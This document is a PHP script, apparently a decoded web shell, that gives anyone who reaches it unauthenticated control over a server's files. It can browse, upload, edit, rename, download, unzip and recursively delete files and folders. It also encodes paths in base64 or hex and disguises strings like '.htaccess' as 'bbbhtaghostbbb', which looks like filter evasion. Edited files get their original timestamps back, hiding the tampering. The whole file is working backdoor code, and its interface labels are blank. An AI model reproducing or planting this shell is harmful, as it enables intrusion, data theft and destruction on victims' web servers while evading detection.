PHP Decode

<?php 
header("content-Type: text/html; charset=utf-8"); 
error_reporting(0); 
function upfile($file_var,$tofile,$filepath){ 
 
	if(!is_writable($filepath)){ 
		echo"$filepath "; 
		return false; 
		exit; 
	} 
	//echo $_FILES["$file_var"]['name']; 
	//$Filetype=substr(strrchr($_FILES["$file_var"]['name'],"."),1); 
	($tofile==='')?($uploadfile = $_FILES["$file_var"]['name']):($uploadfile = $tofile);// 
	$Array[tofile] = $tofile; 
	$Array[oldfile]= $_FILES["$file_var"]['name']; 
	if(!($uploadfile==='')){ 
		if (!is_uploaded_file($_FILES["$file_var"]['tmp_name'])){ 
			echo $_FILES["$file_var"]['tmp_name']." ."; 
			return false; 
			exit; 
		} 
 
		if (!move_uploaded_file($_FILES["$file_var"]['tmp_name'],$filepath.'/'.$uploadfile)){ 
			echo ":
"; 
			print_r($_FILES); 
			exit; 
		}else{ 
			return $Array; 
		} 
	}else{ 
		return false; 
		echo""; 
	} 
} 
$ROOT_Path=$_SERVER['DOCUMENT_ROOT']; 
$CurrentPath	= $_POST['path']?$_POST['path']:($_GET['path']?$_GET['path']:false); 
if(!empty($_POST['pathchoose'])){ 
	$CurrentPath	=uris_changes($_POST['pathchoose'],'en'); 
} 
$CurrentPath	= uris_changes($CurrentPath,'de'); 
if($CurrentPath===false) 
{ 
	$CurrentPath	= dirname(__FILE__); 
} 
$CurrentPath	= realpath(str_replace('\','/',$CurrentPath)); 
if(!empty($_GET['path'])){ 
	$_REQUEST["Ftpfile"] = "ok"; 
} 
 
function deletedir($dir) 
{ 
	if(!$handle=@opendir($dir)) 
	{// 
		echo "".$dir; 
		//die(""); 
	} 
	while(false!==($file=readdir($handle))) 
	{ 
		if($file!="."&&$file!="..") 
		{ 
			$file=$dir.DIRECTORY_SEPARATOR.$file; 
			if(is_dir($file)) 
			{ 
				deletedir($file); 
			} 
			else 
			{ 
				if(@unlink($file)) 
				{ 
					//echo "<br>"; 
				} 
				else 
				{ 
					echo "<br>"; 
				} 
			} 
		} 
	} 
	closedir($handle); 
	if(@rmdir($dir)) 
	{ 
		$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; 
		echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";	 
	} 
	else 
	{ 
		echo "".$dir; 
	} 
 
} 
function uris_changes($txt,$type){ 
    if(function_exists('base64_encode') && function_exists('base64_decode')){ 
        return ($type == 'en') ? base64_encode($txt) : base64_decode($txt); 
    }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){ 
        return ($type == 'en') ? strsToHexs($txt) : hexsToStrs($txt); 
    }else{ 
        $ar1 = array('public_html','.htaccess','/','.'); 
        $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb'); 
        return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt); 
    } 
} 
function strsToHexs($string){ 
    $hex=''; 
    for ($i=0; $i < strlen($string); $i++) 
    { 
        $hex .= dechex(ord($string[$i])); 
    } 
    return $hex; 
} 
function hexsToStrs($hex){ 
    $string=''; 
    for ($i=0; $i < strlen($hex)-1; $i+=2) 
    { 
        $string .= chr(hexdec($hex[$i].$hex[$i+1])); 
    } 
    return $string; 
} 
function getSize(&$fs) 
{ 
	if($fs<1024) 
	return $fs."Byte"; 
	elseif($fs>=1024&&$fs<1024*1024) 
	return @number_format($fs/1024, 3)." KB"; 
	elseif($fs>=1024*1024 && $fs<1024*1024*1024) 
	return @number_format($fs/1024*1024, 3)." M"; 
	elseif($fs>=1024*1024*1024) 
	return @number_format($fs/1024*1024*1024, 3)." G"; 
} 
 
if ($_GET['downfile']) { 
	$downfile=uris_changes($_GET['downfile'],'de'); 
	if (@file_exists($downfile)) { 
	header("Content-Type: application/octet-stream"); 
	header("Content-Transfer-Encoding: Binary"); 
	header("Content-Length: " . filesize($downfile)); 
	header("Content-disposition: attachment; filename=\"".basename($downfile)."\""); 
	readfile($downfile); 
	exit; 
	}else{ 
		echo "<script>alert(\"\")</script>"; 
	} 
} 
 
//  
if(@$_GET['delfile']!="") { 
	$delfile=uris_changes($_GET['delfile'],'de'); 
	if(file_exists($delfile)) { 
		@unlink($delfile); 
	} else { 
		$exists="1"; 
		echo "<script>alert(\"\")</script>"; 
	} 
	if(!file_exists($delfile)&&$exists!="1") { 
		$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; 
		echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";	 
	} else { 
		echo"<script>alert(\"\")</script>"; 
	} 
} 
// 
if(@$_GET['deldir']!="") 
{ 
	$deldir=uris_changes($_GET['deldir'],'de'); 
	deletedir($deldir); 
} 
// 
$edit_flag=false; 
if(@$_GET['editfile']!="") 
{ 
	$flag_show=1; 
	$editfile=uris_changes($_GET['editfile'],'de'); 
	if(file_exists($editfile)) 
	{ 
		$edit_flag=true; 
		$handle=fopen($editfile,"r"); 
		$contentfile=fread($handle,filesize($editfile)); 
		fclose($handle); 
	} 
	else 
	{ return false; 
	echo "<script>alert(\"\")</script>"; 
	} 
 
} 
else 
{ 
	$flag_show=0; 
} 
 
if($_POST['dirname']) 
{ 
	$newdir	= $CurrentPath."/".$_POST['dirname']; 
	if(is_dir($newdir)) 
	{ 
		echo"<script>alert(\"!\")</script>"; 
		exit; 
	}else { 
		if(mkdir($newdir,0700)) 
		{ 
			echo"<script>alert(\"!\")</script>"; 
		}else { 
			echo "<script>alert(\"!\")</script>"; 
		} 
	} 
} 
 
if($_POST['newfilename']) 
{ 
	$newfilename	= $CurrentPath."/".$_POST['newfilename']; 
	if(file_exists($newfilename)) 
	{ 
		echo"<script>alert(\"!\")</script>"; 
		exit; 
	}else { 
		if(fopen($newfilename, "w")) 
		{ 
			echo"<script>alert(\"!\")</script>"; 
		}else { 
			echo "<script>alert(\"!\")</script>"; 
		} 
	} 
} 
 
if($_POST['upload']) 
{ 
	if(!(upfile("upfiles1",$_POST['fname'],$CurrentPath))) 
	{ 
		echo "<script>alert(\"!\")</script>"; 
	}else { 
		echo "<script>alert(\"!\")</script>"; 
	} 
} 
 
if($_POST['upload2']) 
{ 
	upload2($_FILES['uplfile'], uris_changes($_GET['path'],"de").'/'); 
} 
 
 
 
 
function upload2($upfile, $ndir) { 
  if (!$upfile) { 
    error("  0"); 
  } elseif($upfile['name']) {  
    if(copy($upfile['tmp_name'],$ndir.$upfile['name'])) {  
      echo "<script>alert(\"!\")</script>"; 
    } else { 
      echo "<script>alert(\"!\")</script>"; 
    } 
  } else { 
   echo "<script>alert(\",!\")</script>"; 
  } 
} 
 
if($_POST['editcontent']) 
{ 
	$path_up=uris_changes($_POST['path_f'],'de'); 
	$contents_file_up=base64_decode($_POST['contents_file']); 
	$file_time=filemtime($path_up); 
	$handle=fopen($path_up,"w"); 
	if($handle) 
	{ 
		fwrite($handle,$contents_file_up); 
		fclose($handle); 
		@touch($path_up,$file_time,$file_time); 
		echo "<script>alert(\"\");</script>"; 
		$editedfile=basename($path_up);  
 
	} 
	else 
	{ 
		return false; 
		echo "<script>alert(\"\")</script>"; 
	} 
 
} 
if($_POST['renamefile']) 
{ 
	$rename_path=uris_changes($_POST['rename'],'de'); 
	$filesarray = explode('|a|',$rename_path); 
	if(count($filesarray) != 2) { echo "<script>alert(\"\");</script>"; 
 }else { 
    if(rename($filesarray[0].$filesarray[1],$filesarray[0].$_POST['nrename'])) { 
     echo "<script>alert(\"\");</script>"; 
    } else { 
      echo "<script>alert(\"\");</script>"; 
    } 
 } 
} 
if($_GET['unzfile']) 
{ 
	$zipfile=uris_changes($_GET['unzfile'],'de'); 
	$outPath = uris_changes($_GET['path'],'de'); 
	$zip = new ZipArchive(); 
	$openRes = $zip->open($zipfile); 
	if ($openRes === TRUE) { 
	  $zip->extractTo($outPath); 
	  $zip->close(); 
		$url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; 
		echo "<script>alert(\"\"),window.location=\"{$url}\";</script>";	 
	} else { 
		echo"<script>alert(\"\")</script>"; 
	} 
} 
function gets_colors($file) {if(!is_writable($file) && is_readable($file)){return "red";} return "#003399";} 
if($_REQUEST["Ftpfile"]=="ok"){ 
?> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>FileContral</title> 
<script type="text/javascript"> 
function Encoder(name) 
{ 
	var e =  document.getElementById(name); 
	e.value = btoa(e.value); 
	return true; 
} 
</script> 
<script type="text/javascript"> 
function edit() 
{ 
 
 
   document.getElementById('edit').style.display=""; 
	 
} 
</script> 
<style type="text/css"> 
<!-- 
body { 
	font-family: ""; 
	font-size: 18px; 
	margin-left: 0px; 
	margin-top: 0px; 
} 
 
table { 
	font-family: ""; 
	font-size: 18px; 
	text-decoration: none; 
} 
 
.bold_blue { 
	color: #003399; 
	font-weight: bold; 
} 
 
input { 
	border-right-width: 0.1mm; 
	border-bottom-width: 0.1mm; 
	border-top-style: none; 
	border-right-style: solid; 
	border-bottom-style: solid; 
	border-left-style: none; 
	border-right-color: #CCCCCC; 
	border-bottom-color: #CCCCCC; 
} 
--> 
</style> 
</head> 
<body> 
<table width="1000" border="0" align="center" cellpadding="5" 
	cellspacing="0"> 
	<tr> 
		<td bgcolor="#DDDDDD"> 
		<table width="100%" height="100%" border="0" cellpadding="5" 
			cellspacing="2" bgcolor=""> 
			<tr> 
				<form name="form5" method="post" action=""> 
				<td><span class="bold_blue"><strong></strong></span> <input 
					name="dirname" type="text" id="dirname"> <input type="submit" 
					name="Submit" value=" "></td> 
				</form> 
			</tr> 
			<tr> 
				<form name="form2" method="post" action=""> 
				<td><span class="bold_blue"><strong></strong></span> <input 
					name="newfilename" type="text" id="newfilename"> <input type="submit" 
					name="Submit" value=" "></td> 
				</form> 
			</tr> 
			<form name="form3" method="post" action="" 
				enctype="multipart/form-data"> 
			<tr> 
				<td><span class="bold_blue"><strong></strong></span> <input 
					name="upfiles1" type="file" id="upfiles1"></td> 
			</tr> 
			<tr> 
				<td><span class="bold_blue"><strong> </strong></span> <input 
					name="fname" type="test" id="fname"> <input type="submit" 
					name="upload" value=" "></td> 
			</tr> 
			</form> 
			<tr> 
				<form name="form1" method="post" action="">	 
				<td><span class="bold_blue" style="color:<?php echo gets_colors($CurrentPath);?>; "></span> <input name="pathchoose" type="text" id="pathchoose" style="width:800px;" value="<?php echo $CurrentPath;?>"> <input type="submit" name="Submit" value=" "> 
				</form> 
				</td> 
			</tr> 
			<tr> 
			<td><form enctype="multipart/form-data" action="?path=<?php echo uris_changes($CurrentPath,'en');?>" method="post"> 
				<input type="file" name="uplfile"  id="uplfile"> 
				<input type="submit" value="" name="upload2"> 
				</form> 
				</td> 
			</tr> 
		</table> 
		</td> 
	</tr> 
	<tr> 
		<td bgcolor="#DDDDDD"> 
		<table width="100%" border="0" cellspacing="0" cellpadding="5"> 
			<tr> 
				<td bgcolor="#BCBCBC"><strong><a href="?path=<?php echo uris_changes($ROOT_Path,'en');?>"><span class="bold_blue"><strong></strong></span></a> > <a href="<?php echo "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];?>?Ftpfile=ok"><span class="bold_blue"><strong></strong></span></a> > <a href="?path=<?php echo uris_changes(dirname($CurrentPath),'en');?>"><span class="bold_blue"><strong></strong></span></a></strong></td> 
			</tr> 
			<tr> 
				<td> 
				<table width="100%" border="0" cellpadding="0" cellspacing="8" 
					bgcolor="#EFEFEF"> 
					<tr> 
						<td><b></b></td> 
						<td><b></b></td> 
					</tr> 
					<?php 
					$fso=@opendir($CurrentPath); 
					while ($file=@readdir($fso)) { 
						if(is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {  
							if($file!=".."&&$file!=".")	{ 
								if (strlen($file)>30) {  
								  $filetxtname = substr($file,0,30)."..."; 
								} else { 
								  $filetxtname = $file; 
								} 
								echo "<tr bgcolor=\"#EFEFEF\">
"; 
								echo "<td><a href=\"?path=".uris_changes($CurrentPath."/".$file,'en')."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>
"; 
								echo "<td><a href=\"?ren==".uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en')."\"></a>|<a href=\"?path=".$_GET['path']."&deldir=".uris_changes("$CurrentPath/$file",'en')."\"></a></td>
"; 
								echo "</tr>
"; 
							} else { 
								if($file=="..") 
								{ 
									continue; 
								} 
							} 
						} 
					} 
					@closedir($fso); 
					?> 
				</table> 
				</td> 
			</tr> 
			<tr> 
				<td bgcolor="#BDBEBD"><strong>    <?php $editcon=(empty($editedfile))? "": $editedfile."---"; echo $editcon;?></strong></td> 
			</tr> 
			<tr> 
				<td> 
				<table width="100%" border="0" cellpadding="0" cellspacing="8" 
					bgcolor="#EFEFEF"> 
					<tr> 
						<td><b></b></td> 
						<td><b></b></td> 
						<td><b></b></td> 
						<td><b></b></td> 
					</tr> 
					<?php 
					$flag_file=0;// 
					$fso=@opendir($CurrentPath); 
					while ($file=@readdir($fso)) { 
						if(!is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) {  
							if (strlen($file)>30) {  
							  $filetxtname = substr($file,0,30)."..."; 
							} else { 
							  $filetxtname = $file; 
							} 
							$flag_file++; 
							$size=@filesize("$CurrentPath/$file"); 
							$size=@getSize($size); 
							$lastsave=@date("Y-n-d H:i:s",filemtime("$CurrentPath/$file")); 
							echo "<tr bgcolor=\"#EFEFEF\">
"; 
							echo "<td> <a href=\"".str_replace($ROOT_Path,"",$CurrentPath.'/'.$file)."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\"><strong>$filetxtname</strong></span></a></td>
"; 
							echo "  <td>$lastsave</td>
"; 
							echo "  <td>$size</td>
"; 
							?> 
					<td><input type="hidden" id="<?php echo $flag_file."path"?>" 
						value="<?php echo $filec;?>"> <a 
						href="?editfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>#edit" 
						onclick="edit();"></a>|<a 
						href="?ren=<?php echo uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a>|<a 
						href="?path=<?php echo uris_changes($CurrentPath,'en')."&delfile=".uris_changes($CurrentPath."/".$file,'en');?>"></a>|<a 
						href="?downfile=<?php echo uris_changes($CurrentPath."/".$file,'en');?>"></a><?php if(preg_match("/\.zip$/i",$file)) {?>|<a 
						href="?unzfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>"></a><?php }?> 
						</td> 
						<?php 
						//	echo "  <td><a href=\"?downfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a> |<a href=\"?path=".urlencode($CurrentPath)."&delfile=".urlencode($CurrentPath)."/".urlencode($file)."\"></a></td>
"; 
						echo "</tr>
"; 
						} 
					} 
					if($flag_file==0) 
					{ 
						echo "<tr bgcolor=\"#EFEFEF\">
"; 
						echo "<td align=\"center\" colspan=\"3\"><font style=\"color:red;\" size=\"10\"></font></td>"; 
						echo "</tr>
"; 
					} 
					@closedir($fso); 
					?> 
				</table> 
				</td> 
			</tr> 
			<tr> 
				<td bgcolor="#BDBEBD"><strong></strong></td> 
			</tr> 
			<tr> 
				<td> 
				<div id="edit" <?php if($flag_show==0) {?> style="display: none" 
				<?php }?>> 
				<table width="100%" border="0" cellpadding="0" cellspacing="8" 
					bgcolor="#EFEFEF"> 
					<form name="edit" method="post" action="?path=<?php echo $_GET['path']; ?>" onSubmit=Encoder('contents_edit')> 
					<tr> 
						<td><input type="hidden" name="path_f" 
							value="<?php echo uris_changes($editfile,'en');?>"></input>  
							<textarea 
							id="contents_edit" name="contents_file" 
							style="width: 1000px; overflow-y: visible; height: 500px;"><?php if($edit_flag){ echo htmlspecialchars($contentfile);?><?php }else{ echo "no" ;}?> 
							</textarea></td> 
					</tr> 
					<tr> 
						<td><input style="background-color: gray" type="submit" 
							name="editcontent" value="submit" ></input></td> 
					</tr> 
					</form> 
				</table> 
				</div> 
				<div id="ren" <?php if(@$_GET['ren']=="") {?> style="display: none" 
				<?php }?>> 
				<table width="100%" border="0" cellpadding="0" cellspacing="8" 
					bgcolor="#EFEFEF"> 
					<form name="ren" method="post" action="?path=<?php echo $_GET['path']; ?>"> 
					<tr> 
						<td> 
						<table border="0" cellpadding="2" cellspacing="0"> 
						<?php echo preg_replace("/.*\|a\|/i","",uris_changes($_GET['ren'],'de'));?> 
						</table><br> 
						<input type="hidden" name="rename" value="<?php echo $_GET['ren'];?>"></input>  
						:<br><input class="text" type="text" size="20" name="nrename"> 
						<input type="Submit" value="" name="renamefile" style="background-color: gray"></td> 
					</tr> 
					<tr> 
					</tr> 
					</form> 
				</table> 
				</div> 
				</td> 
			</tr> 
		</table> 
		</td> 
	</tr> 
</table> 
</body> 
</html> 
<?php 
exit; 
} 
?>